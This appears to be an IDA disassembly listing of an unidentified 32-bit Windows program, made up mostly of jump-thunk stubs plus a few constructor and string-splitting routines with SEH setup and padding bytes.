jmp loc_432690
; ---------------------------------------------------------------------------
loc_401FD7: ; DATA XREF: ___:off_43E094o
jmp loc_435280
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near
jmp sub_40F0B0
sub_401FDC endp
; ---------------------------------------------------------------------------
jmp loc_436300
; ---------------------------------------------------------------------------
loc_401FE6: ; DATA XREF: ___:0043E03Co
jmp loc_41EDB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap
jmp sub_41FF40
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_430380
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp
; ___:00439F88j ...
jmp sub_417B00
sub_401FF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FFA proc near ; CODE XREF: ___:00416D7Fp
jmp sub_413120
sub_401FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFF proc near ; CODE XREF: sub_421A80+5p
jmp sub_421F80
sub_401FFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402004 proc near ; CODE XREF: ___:00421654p
jmp sub_41BFA0
sub_402004 endp
; ---------------------------------------------------------------------------
off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40200E proc near ; CODE XREF: sub_404640+2CEp
; sub_404C70+472p ...
jmp sub_40A670
sub_40200E endp
; ---------------------------------------------------------------------------
jmp loc_433120
; ---------------------------------------------------------------------------
jmp sub_41B3D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_422370+Ap
jmp sub_422650
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: sub_404C70+7EAp
jmp sub_41B950
sub_402022 endp
; ---------------------------------------------------------------------------
loc_402027: ; DATA XREF: ___:off_43E014o
jmp loc_40ADE0
; ---------------------------------------------------------------------------
loc_40202C: ; DATA XREF: ___:off_43E088o
jmp loc_42BE60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402031 proc near ; CODE XREF: ___:0040ADE3p
; ___:0040FEDEp ...
jmp sub_40AE10
sub_402031 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402036 proc near ; CODE XREF: sub_424840+109p
; sub_424840+178p ...
jmp sub_424720
sub_402036 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40203B proc near ; CODE XREF: sub_4098E0+7p
jmp sub_4099D0
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_416660+Ap
jmp sub_416870
sub_402040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402045 proc near
jmp sub_40CB10
sub_402045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204A proc near ; CODE XREF: ___:0042EEEBp
; sub_42FDD0+EAp
jmp sub_433030
sub_40204A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: sub_421960+5p
; sub_421A50+6p ...
jmp sub_421EF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp
; sub_40FF60+95Ep ...
jmp sub_411990
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_40C040+7p
jmp sub_40C230
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40205E proc near ; CODE XREF: sub_418940+34p
; sub_418E90+67p
jmp sub_418CA0
sub_40205E endp
; ---------------------------------------------------------------------------
jmp loc_409B10
; ---------------------------------------------------------------------------
loc_402068: ; DATA XREF: ___:off_43E13Co
jmp loc_427FC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_417020+2Bp
; sub_417020+3Bp ...
jmp sub_403EE0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_4097D0+14p
jmp sub_409830
sub_402072 endp
; ---------------------------------------------------------------------------
jmp loc_431FD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp
jmp sub_4279F0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp sub_426650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402086 proc near ; CODE XREF: sub_418330+4Dp
jmp sub_418A70
sub_402086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_415160+5p
; sub_415310+6p ...
jmp sub_415CE0
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_426650+3p
jmp sub_426680
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_41B0F0
; ---------------------------------------------------------------------------
jmp loc_421620
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40209F proc near ; CODE XREF: ___:00416D4Fp
jmp sub_407030
sub_40209F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_413670+83p
; sub_4144D0+91p ...
jmp sub_415310
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; DATA XREF: ___:0043E054o
jmp sub_41EF30
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p
jmp sub_40AD00
sub_4020AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp
; sub_432980+36p
jmp sub_4329F0
sub_4020B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p
; sub_422240+11p
jmp sub_4223E0
sub_4020B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: sub_4220E0+4p
jmp sub_4224F0
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp
jmp sub_42A440
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; CODE XREF: ___:0041A212p
jmp sub_41A2B0
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_416760+Ap
jmp sub_4168C0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co
jmp sub_42B2D0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020D6 proc near ; CODE XREF: sub_415C70+4p
jmp sub_416490
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: ___:0042F4B6p
; ___:0042F518p ...
jmp sub_4337E0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_418D20+8p
jmp sub_418FC0
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020E5 proc near ; CODE XREF: sub_418890+34p
; sub_418D80+67p
jmp sub_418BA0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p
jmp sub_41A860
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; CODE XREF: sub_415AA0+35p
jmp sub_416570
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp
; sub_4066E0+43p ...
jmp sub_409BC0
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p
; sub_40BE60+6p ...
jmp sub_40C060
sub_4020F9 endp
; ---------------------------------------------------------------------------
jmp loc_42F5B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: ___:00416E7Ap
jmp sub_4190B0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: ___:00429A33p
jmp sub_429A60
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp
; sub_40FF60+1392p ...
jmp sub_4147D0
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_4139B0+38p
; sub_413DA0+5Fp
jmp sub_413510
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40A130+14p
; sub_40A160+7p ...
jmp sub_40A180
sub_402117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40211C proc near ; CODE XREF: sub_42A150+157p
jmp sub_429D00
sub_40211C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap
; sub_40AC30+1Ap
jmp sub_40ACA0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: sub_415600+3p
; ___:00415E1Fp ...
jmp sub_416050
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; DATA XREF: ___:0043E02Co
jmp sub_40FF60
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_4147D0+EDp
jmp sub_415830
sub_402130 endp
; ---------------------------------------------------------------------------
jmp loc_41B390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_40BE20+3p
jmp sub_40C0A0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40BEC0+11p
; ___:0040BEE7p ...
jmp sub_40C1E0
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_41E660+2C5p
jmp sub_4207E0
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; CODE XREF: sub_41D830+652p
jmp sub_41C070
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40214E proc near ; CODE XREF: sub_418BC0+32p
jmp sub_418E90
sub_40214E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402153 proc near ; CODE XREF: sub_40EC30+ACp
; ___:0040F35Dp
jmp sub_40ED70
sub_402153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_4137E0+93p
jmp sub_433A20
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp
; sub_415AA0+2Cp
jmp sub_415A00
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: ___:0042541Dp
jmp sub_4253E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402167 proc near ; CODE XREF: sub_420530+17Dp
jmp sub_4219D0
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40216C proc near ; CODE XREF: ___:0042C261p
jmp sub_42A090
sub_40216C endp
; ---------------------------------------------------------------------------
loc_402171: ; DATA XREF: ___:off_43E010o
jmp loc_409B10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap
; sub_40A9F0+103p
jmp sub_40AC30
sub_402176 endp
; ---------------------------------------------------------------------------
jmp loc_426620
; ---------------------------------------------------------------------------
jmp loc_41AC00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402185 proc near ; CODE XREF: sub_407220+16p
; sub_407260+Bp ...
jmp sub_4074C0
sub_402185 endp
; ---------------------------------------------------------------------------
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218F proc near ; CODE XREF: sub_40B000+1Bp
jmp sub_432AD0
sub_40218F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: ___:00415A5Ap
jmp sub_4164E0
sub_402194 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp
; sub_430690+1Bp ...
jmp sub_430700
sub_402199 endp
; ---------------------------------------------------------------------------
jmp loc_42EA90
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A3 proc near ; CODE XREF: ___:004086AAp
; ___:004086CFp ...
jmp sub_4198C0
sub_4021A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A8 proc near ; DATA XREF: ___:0043E130o
; ___:0043E140o ...
jmp sub_42C710
sub_4021A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021AD proc near ; CODE XREF: sub_40B520+55p
jmp sub_409FD0
sub_4021AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co
jmp sub_428220
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p
; sub_422410+67p
jmp sub_422130
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp
; sub_4070F0+68p ...
jmp sub_407260
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_4333F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p
; sub_41C610+332p ...
jmp sub_41D670
sub_4021C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021CB proc near ; CODE XREF: sub_40BC70+11p
; sub_40BEC0+1Fp
jmp sub_40BFF0
sub_4021CB endp
; ---------------------------------------------------------------------------
jmp loc_42F5F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap
; sub_4246D0+1Bp ...
jmp sub_424420
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: ___:004169BBp
jmp sub_418940
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DF proc near
jmp sub_42BB70
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_42EC80
; ---------------------------------------------------------------------------
jmp loc_42EE10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021EE proc near ; CODE XREF: sub_433160+1Bp
jmp sub_4331D0
sub_4021EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F3 proc near ; CODE XREF: sub_42E400+101p
jmp sub_42DD50
sub_4021F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co
jmp sub_4071C0
sub_4021F8 endp
; ---------------------------------------------------------------------------
jmp loc_42E2D0
; ---------------------------------------------------------------------------
jmp locret_418840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402207 proc near ; CODE XREF: sub_4036D0+25p
; sub_4036D0+35p ...
jmp sub_403C90
sub_402207 endp
; ---------------------------------------------------------------------------
jmp loc_433100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_418330+88p
; sub_418330+98p
jmp sub_418A90
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: ___:00416ABBp
; ___:00439F0Aj ...
jmp sub_417770
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; CODE XREF: sub_418AE0+5p
jmp sub_418D50
sub_40221B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402220 proc near ; CODE XREF: sub_414640+3p
jmp sub_414670
sub_402220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402225 proc near ; CODE XREF: ___:0042F2FBp
; ___:0042FC27p ...
jmp sub_430AD0
sub_402225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; DATA XREF: ___:off_43E11Co
jmp sub_427600
sub_40222A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222F proc near ; CODE XREF: sub_42F840+102p
; sub_431730+5Dp ...
jmp sub_430810
sub_40222F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_413510+5Cp
; sub_413510+C0p ...
jmp sub_415460
sub_402234 endp
; ---------------------------------------------------------------------------
jmp loc_431410
; ---------------------------------------------------------------------------
jmp loc_42F170
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_41D830+203p
jmp sub_42D0D0
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: sub_42E400+148p
; sub_42E400+173p
jmp sub_42DC70
sub_402248 endp
; ---------------------------------------------------------------------------
jmp loc_42E1A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_4133D0+34p
; sub_4147D0+40p
jmp sub_4158F0
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p
; sub_40CF60+ADp
jmp sub_40CF60
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_42E220
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402261 proc near ; CODE XREF: sub_422A40+938p
jmp loc_423FA0
sub_402261 endp
; ---------------------------------------------------------------------------
jmp loc_419A90
; ---------------------------------------------------------------------------
loc_40226B: ; CODE XREF: ___:00438CE6j
jmp loc_40CEE0
; ---------------------------------------------------------------------------
db 1270h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4034E0 proc near ; CODE XREF: sub_4019B5j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_4034E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403539
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40352A: ; CODE XREF: sub_4034E0+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40352A
loc_403539: ; CODE XREF: sub_4034E0+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_401424
push offset asc_4435EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401861
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A87
push offset byte_446F70
lea ecx, [esp+47Ch+var_450]
call sub_401861
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_403591: ; CODE XREF: sub_4034E0+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_4035E7
lea ecx, [esp+478h+var_438]
call sub_401681
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017E4
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401A9B
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_403591
loc_4035E7: ; CODE XREF: sub_4034E0+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_4034E0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036B0 proc near ; CODE XREF: sub_401681j
mov eax, [ecx+9]
retn
sub_4036B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036D0 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4036D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_402207
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_402207
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_402207
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_402207
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_402207
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_402207
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_402207
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_402207
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_402207
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_402207
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_402207
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_402207
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_402207
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_402207
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_402207
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_402207
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_402207
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_402207
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_402207
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_402207
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_402207
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_402207
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_402207
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_402207
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_402207
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_402207
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_402207
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_402207
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_402207
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_402207
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_402207
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_402207
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_402207
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401749
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401749
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401749
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401749
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401749
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401749
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401749
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401749
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401749
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401749
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401749
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401749
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401749
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401749
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401749
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401749
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401749
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4036D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C00 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C70 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43E004
retn
sub_403C70 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C90 proc near ; CODE XREF: sub_402207j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C90 endp
; ---------------------------------------------------------------------------
